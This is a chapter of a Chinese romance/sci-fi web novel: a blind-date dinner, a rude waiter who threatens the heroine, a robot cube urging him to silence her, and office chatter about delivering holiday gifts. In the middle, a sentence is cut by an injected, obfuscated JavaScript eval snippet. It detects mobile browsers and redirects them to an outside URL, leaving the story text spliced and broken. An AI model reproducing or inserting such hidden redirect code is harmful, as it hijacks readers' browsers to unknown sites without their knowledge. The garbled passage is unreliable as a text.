12. 012

作品:《宇宙、荒野与灿烂的你

    池信沉着眼:“你们点的走地鸡没了,瓦罐老鸭汤还有,换菜吗?”


    “换成鱼吧,她爱吃。”


    阎骅话音刚落,就看见许时漪捂着脖子一脸难受、努力忍着咳嗽的表情。


    “你怎么了?”


    许时漪一见池信,喉咙就控制不住痒痒:“咳咳……没、没事。”


    阎骅对池信说:“麻烦把我们的菜换成红烧水库鱼。”


    池信瞥了许时漪一眼:“没了。”


    “那竹筒蒸河鱼?”


    “没了。”


    “香茅草烤鱼呢?”


    “都没了。”池信不耐烦地说,“就剩鸭子汤了,爱要不要。”


    “……”


    阎骅把菜单还给他:“行,就鸭子汤吧。”


    换完菜,池信走了。


    阎骅尴尬地说:“……这地方我常来,以前的服务员素质挺高的。”


    意思是现在的素质不详。


    许时漪十分认可。


    她一顿饭吃得心不在焉,阎骅瞧出了她的不自在:“时漪,你有什么心事吗?”


    许时漪拨着碗里的饭:“阎骅,你有没有做过那种特别逼真的梦?醒来后分不清现实和梦境。”


    阎骅想了想:“我读大学时,有次午休梦见室友把我给杀了,感觉特别逼真。”


    许时漪问:“你梦中的情绪会带到现实吗?”


    “只有一会儿,等想明白现实不是梦就不会了。”


    许时漪说:“我昨晚做了一个非常恐怖的梦,就像真的发生过一样。”


    “一般来说,做噩梦是因为白天积攒的心理压力没有得到纾解,我当时就是跟同宿有奖学金的竞争才会做那种梦。你可以吃中药调理,我认识一个中医不错,介绍给你。”


    “谢谢了,很需要。”


    饭后,阎骅主动提出送许时漪回家。


    许时漪吃完饭已经好些了,她笑笑,婉拒了:“我坐地铁就好了,你又不顺路,现在堵车,一来一回天都要黑了。”


    阎骅脸上露出了失望的表情:“是我今天哪里表现得差劲吗?”


    “千万别这么想。”许时漪斟酌着措辞,“你知道我的情况,现在谈恋爱就是在耽误别人,如果不是宋阿姨非要我来,我也不想浪费你的时间。”


    “你没有耽误我,我今天非常开心。”阎骅看着她,目光真诚,“那我以后还能找你吃饭吗?”


    “当然。”许时漪微笑,“不过下次要我来请。”


    阎骅听她这样说,又开心了些:“怎么能让女孩子付钱呢,我请。”


    “我请我请。”


    “不,一定我请。”


    “……”


    换作半年前,没有生活压力,许时漪或许真会考虑谈个恋爱也不一定。


    可现在不行。


    她连自己都照顾不好。


    市郊建筑低矮、鳞次栉比。


    下班高峰路上堵住了,一排排车子在回城的主干道上慢腾腾挪动着。


    天空昏黄,炊烟与夕阳各染了五分。


    半边烟火,半边天光。


    分开后,许时漪准备步行去地铁站,几百米,很近。刚要动身,突然觉得背后凉风阵阵。


    她回头,见池信站在农家乐门口。


    他不知站多久了,还穿着服务员的粉红围裙。里面客人很多,老板忙得热火朝天,不到下班时间,他应该是偷跑出来的。


    许时漪的脖子又开始隐隐作痛。


    “许时漪。”池信喊了她名字。


    这一喊,许时漪的脖子更疼了,想让他有屁快放,可一想起他在梦里的威慑,又不敢造次。


    “我在,您讲。”她没骨气地应道。


    池信冷声问:“你这样有意思吗?”


    ——你这样有意思吗?


    许时漪确信自己听过同样的句子,就在那晚暴雨夜,就在那辆列车上。


    记忆里,池信曾在站台上,用一种冷漠到近乎怨恨的目光追问她:你这样有意思吗?


    许时漪不知道哪里惹了他:“……我怎么了?”


    “别再跟着我了。”


    “……你搞错了。”许时漪好脾气地解释,“我没跟着你,我今天是来相亲的。”


    “阎骅……哦,也就是我的相亲对象,是他带我来玩,我根本不知道你在农家乐工作,而且也没理由跟踪你啊,我们都不熟的。”


    池信嘲讽道:“你还真是爱相亲。”


    不仅爱相亲,还爱笑。


    也不知道那蠢男人说了什么,吃饭的时候她笑得前俯后仰,眼泪都出来了。


    许时漪一头雾水。暂且不提她根本不爱相亲,就算她爱,跟他又有什么关系?


    “也对。”池信突然刻薄道,“一把年纪了,再不结婚就要死了吧。”


    许时漪:“?”


    一把年纪?她吗???


    许时漪绷不住了。


    这人的敌意莫名其妙,她不理解,甚至绝望。


    一绝望,脖子更疼了。


    她不确定地问:“我是否无意中得罪过你?你把话说清楚,有问题解决问题,解决不了就找警察。”


    应该得罪过他吧。不然为什么这样?


    池信沉着眼:“滚吧,再见面我会杀了你。”


    “……”


    许时漪噎住,她本来想骂他,词都准备好了,在嘴里滚了一圈又咽回去。


    疯了吧许时漪!她转而在心里骂自己——你跟一个精神病计较什么?这人一看就没吃药啊!


    许时漪沉默几秒,幽幽吐出一句:“……你真是让人害怕。”


    ——


    晚饭后,梁逸诚蹲在水站门口消食。


    不多会儿,他看见池信回来了。


    昨晚天台上的事让梁逸诚很丢脸,他觉得有必要解释清楚。


    ——不是他胆子小,是池信躲在暗处的不对。


    深更半夜,就算好好的人都会被吓出毛病的!


    梁逸诚努努嘴:“喂!”


    池信没理他。


    梁逸诚拔高音调:“二楼那个!”


    池信从旁经过,漠然地扔下一句:“闭嘴。”


    梁逸诚从没被人这样无视过,他火冒三丈,又有些难以置信:“嚯,比陈龙更没素质的人出现了!”


    ……


    洗完澡,池信把自己摔到床上。


    耳垂上的红宝石浸透了水后更加莹润发亮,他摸了摸耳钉,对着黑夜低喃了几句。


    照例没有收到回音。


    小方块在桌上转动一圈,用机械音关切道:“你今天心情很差。”


    池信望着天花板发呆。


    小方块通过他的状态判断出了大概,它气得叮叮响,模拟出生物焦急的语气:“又是她?!”


    “我让她滚了。”池信冷漠。


    “你根本没有意识到事情的严重性!”


    池信不耐烦道:“我都让她滚了,你还想怎样?”


    “搬家!搬家搬家搬家!”小方块发出刺耳的音调,“立刻搬家——!”


    “没必要,事情很快就要结束了。”


    小方块阴暗地扭动着:“她接近你不怀好意,背后隐藏着地球人阴险的目的,只让她滚怎么行?她知道你的住处,这是很大的威胁,你该——”


    “——你该让她的嘴巴永远闭上!”它邪恶道。


    池信更烦了。


    他按上小方块的关机钮,手一扬,把它丢进了角落的脏衣篓。


    —


    新公司简直是天堂。


    一开始许时漪还对着电脑装出努力工作的样子,后来实在没活干,也没人管,就放弃表演了。


    每天踏进办公室就开始摸鱼,摸累了就去食堂享受免费午餐,饭后继续摸鱼。


    这跟天上掉馅饼有什么两样?


    没用多久,她就和同事打成了一片。


    王瑞航是个阳光大男孩,话痨,喜欢跟人聊天,小嘴巴闭上一分钟都难受。


    柴昀则是沉默的性子,多数时间都安静地看书,只偶尔加入他们的闲聊。


    不发言则已,一发言总能精准地直击要害。


    午休结束后,许时漪掏出一块小木料,趴在桌上拿雕刻刀一点点刮着。


    最


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529888|186357||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    近她全靠这个来消磨时间。


    王瑞航被午后的太阳一晒,竟晒出点愁绪来。他突然发神经,站起来对着整个办公室宣布:“我失恋了。昨天。”


    许时漪头也不抬:“被甩了?”


    王瑞航虚弱地点头:“恋爱一个月,给她花八万,甩我甩得干净利落,没心没肺。呵,女人。”


    许时漪同情道:“以后谈恋爱要擦亮眼睛哦。”


    “老大,你觉不觉得我很惨?有种令人心疼的破碎感。”王瑞航神态可怜。


    许时漪尴尬地说:“你就别叫我老大了。”


    作为办公室唯一的正式员工,她甚至连义诊送鸡蛋的活动都没策划过,每天上班都很心虚,当老大何德何能?


    王瑞航追问:“那你心疼我吗?”


    柴昀插了句嘴:“他被甩是因为脚踩两只船被女朋友发现了。”


    王瑞航猛地坐直:“没踩!没踩!”


    “我的脚只是抬起来了,还没落到船上,我就想想!”他强词夺理,鬼话连篇,“君子论迹不论心,要是心里想的坏事算数,那所有人都要进监狱了。”


    “嗯。”柴昀应了声,淡淡的死感,“四年谈了十八个的君子。”


    许时漪扑哧笑了:“那很能谈了。”


    这两人是室友,彼此之间根本没有秘密。


    王瑞航本想装可怜撩妹,一下急眼了:“昀子,我警告你啊,少在同事面前损害我的伟岸形象!”


    “伟岸?”柴昀冷笑,“就你?”


    “……”


    办公室座机响了。


    柴昀过去接电话:“你好,社会责任部。”


    他挂上电话,回头看着两人:“来活儿了。”


    ……


    中秋将至,公司计划给员工发放节礼。


    在职的员工下班后自己领走,已退休的员工则需要他们将礼盒一一送到家中。


    每人一盒高档月饼,一盒大闸蟹,一箱应季水果,还有一套公司自研的高级护肤品。


    许时漪心里感慨公司福利真好,退休了还有东西拿。她对这些东西没概念,只是听宋春兰抱怨过,她从前上班的工厂节前只会发塞满了红绿丝的难吃月饼,而那谁谁谁单位好,发的月饼都是香港货,一盒几百块。


    好单位的待遇天差地别,所以宋春兰才非逼着甄蓁找个好工作。


    柴昀拿到了退休员工的名单,提议:“时间不够用,我们分头去送。”


    王瑞航立刻把手高高举起:“报告!我跟老大一组,她刚来还不懂,我有责任带她熟悉工作。”


    柴昀懒得揭穿他的小心思,分给他们一部分名单,叮嘱他们路上注意安全。


    王瑞航去停车场开车。


    许时漪在门口等他。


    一辆奔驰停在面前,王瑞航招呼她上车。


    许时漪打趣:“车不错嘛,很有实力哦。”


    王瑞航自得地一笑:“我哥优化下来的旧车,我拿来代步,毕业后他再给我买新的。”


    名单在许时漪手上,他问:“先去谁家?”


    许时漪根据名单上地址的远近规划了一条合理的路线,坐在副驾驶导航。


    王瑞航一路上叽叽呱呱,一会儿大谈恋爱心得,一会儿又为失恋而悲情落泪。


    他还问许时漪,自己这样是不是特纯真,特痴情?


    许时漪嗯嗯啊啊地应付他,突然对着名单“咦”了一声。


    王瑞航问:“怎么,导错路线啦?”


    许时漪指着名单的某一行:“这人不到三十,怎么就退休了?”


    王瑞航瞥了眼:“你说任子阳啊。”


    “你认识?”


    “同一个学校的师哥嘛,当然认识。”王瑞航收起嬉笑的表情,“他是我们学校的风云人物,拿过不少奖学金,我有个前女友还暗恋过他。可惜工作几年就出了意外。”


    许时漪问:“什么意外?”


    “车祸。对方肇事逃逸,他被发现时伤势过重,送到医院后双腿截肢。”


    王瑞航说:“我记得事发地好像是在启乾商场的地下车库,师哥残疾后就没再上班了。”